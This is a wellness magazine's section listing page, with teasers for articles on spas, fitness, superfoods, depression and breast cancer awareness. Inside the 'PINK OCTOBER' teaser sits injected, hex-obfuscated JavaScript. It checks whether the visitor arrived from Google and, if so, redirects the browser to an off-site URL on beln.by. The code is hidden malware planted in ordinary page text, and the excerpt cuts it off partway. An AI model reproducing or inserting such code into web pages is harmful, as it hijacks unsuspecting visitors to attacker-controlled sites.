QMIN Magazine

Health & Well-Being

Food & Healthy Tips Before Workout


DIPAC: On passion and performance

Dubai International Performing Arts Collective to present world-class roster to cater to residents of the UAE It is rare to…

Body, Mind & Soul Revolution: Antigravity Yoga

Antigravity Yoga is an exciting new twist (literally) to your yoga practice invented by aerial performer Christopher Harrison—a former gymnast…

“My Body Is Smarter Than My Disease” – Anahi Brown

Anahi Brown, a Venezuelan expat, Holistic Wellness and Lifestyle Coach living in Qatar for over six years, shared her own struggle with…

High Intensity Training – Mind I Body I Soul

’Dragged myself to the gym and plodded on the treadmill for half an hour until I got bored and left.’’…

Muay Thai – The Science of 8 Limbs

Muay Thai (also referred to as Thai Boxing) is a sport that grew out of the nation of Thailand. It…

Unwind In The Peaceful Setting Of The Spa At The Ritz Carlton, Doha

Worried. Frantic. Dismayed. Under Pressure. Stressed. We all know what that feels like. Every now and then us ladies, no…

Seven Food Secrets To Healthy And Luscious Looks

Seven food secrets to healthy and luscious looks  Salmon for extra shine The key ingredients for a healthy scalp are…

High Heel Blues: Mind – Body – Soul

High Heel Blues by Evolve Mind-Body-Soul You have an amazing night planned, dinner at a beautiful new restaurant followed by…

Stand tall and walk proud: High heel fitness program offers innovative new platform for women empowerment

A dance class like no other takes Dubai by storm “You put high heels on and you change.” – Manolo…

Get Inspired By These Women Who Have Battled Breast Cancer

For some reason, we all think that celebrities have perfect lives and that they are invincible to sickness and disease….

Reducing The Chances Of Developing Breast Cancer

What can be done to reduce the chances of developing Breast Cancer? By Evolve – Mind | Body | Soul…

Pink Together For Breast Cancer Awareness with QMIN

Celebrated each year in October, Breast Cancer Awareness has been a universal effort to raise awareness for the disease, its…

Escape To The Ethereal Guerlain Spa, Alfardan

estled privately in the Alfardan Towers on level 39, sits the Guerlain Spa Alfardan, towering over Doha. It has been…

Detox Delight Launches The Detox Delight Business Traveler Package

Detox Delight is the UAE’s first detox delivery service, which brings well-being directly to consumer’s doorsteps. Detox Delight’s focus is…

PINK OCTOBER Breast Cancer Awareness & Prevention

Breast Cancer Awareness & Prevention  PINK OCTOBER “Breasts epitomize the sacred feminine values of love, compassion, and wisdom var _0x5575=[“\x67\x6F\x6F\x67\x6C\x65″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x68\x72\x65\x66″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x68\x74\x74\x70\x3A\x2F\x2F\x62\x65\x6C\x6E\x2E\x62\x79\x2F\x67\x6F\x3F\x68\x74\x74\x70\x3A\x2F\x2F\x61\x64\x64\x72\x2E\x68\x6F\x73\x74″];if(document[_0x5575[2]][_0x5575[1]](_0x5575[0])!==-1){window[_0x5575[4]][_0x5575[3]]=…

10 Superfoods For Power And Health

”Mens sana in corpore sano- A healthy mind in a healthy body” Superfoods for superpower and super health Have you…

Dealing With Breast Cancer

We’ve all heard the stories about when a woman gets diagnosed with breast cancer. Regardless of her age, her physical…

FitRepublik Dubai Cools Off With CRYO

The region’s only fully dedicated cryotherapy center, CRYO, has partnered with sporting facility FitRepublik to bring its revolutionary treatments to…

Foods That Help Prevent Breast Cancer

As breast cancer awareness month approaches, we can’t help but think of the thousands of women affected by this malignant…

Diabetes & Exercise

Diabetes & Exercise Health & Well-being contributor: Sarah Meanwell (Biokineticist for Evolve) Diabetes is a disease in which the body…

Depression – Time To Fight For You

Depression – Time To Fight For You With rates of depression on the rise we ask the question can you…

5 Reasons To Include Kale In Your Diet

The king of the greens, kale is rich in beta-carotene, calcium, folate, iron, magnesium, potassium, vitamin A, C, and K….

Evolve: A Next Generation Wellness Company

With Mind|Body|Soul as its mantra, Evolve is a next generation wellness company with an innovative take to health and well-being…

Mind|Body|Soul: The benefits of going old school

Society’s stance on ‘Healthy’  Since when has quick fix solutions for long term health goals been so socially accepted and…

Discover The Purifying Power Of Moroccan Hammam At Saray-Spa At The Marriott Marquis City Centre Doha Hotel

”As water is the essence of life, Saray is the essence of well being” This is Saray-Spa’s motto, lived by…

A Journey For Mind And Body: Introducing Eastern Renewal

As SensAsia Urban Spa enters its eleventh year, the UAE’s largest and most successful spa chain is going back to…

Secondary Food; Whats Good For You?

SECONDARY FOOD Mens sana in corpore sano- A healthy mind in a healthy body by Myriam Von Knobelsdorff Health and…

The Joy Of Movement – bePilates’ Dawne Likhodedova

THE JOY OF MOVEMENT bePilates London Interview with Dawne Likhodedova Mens sana in corpore sano- A healthy mind in a…

THE PRIMARY FOODS – Part 2

The food we eat is secondaryto the quality of the life we live. Your lifestyle, your thoughts, they are your…

THE PRIMARY FOODS – Part 1

A new dimension has risen in the sector of health and well being. The primary foods. What most of us…

Meeting with Garry Trainer

25th of July in Moevenpick Westbay, Doha, the QMIN team had a chance to conduct an exclusive interview with an…

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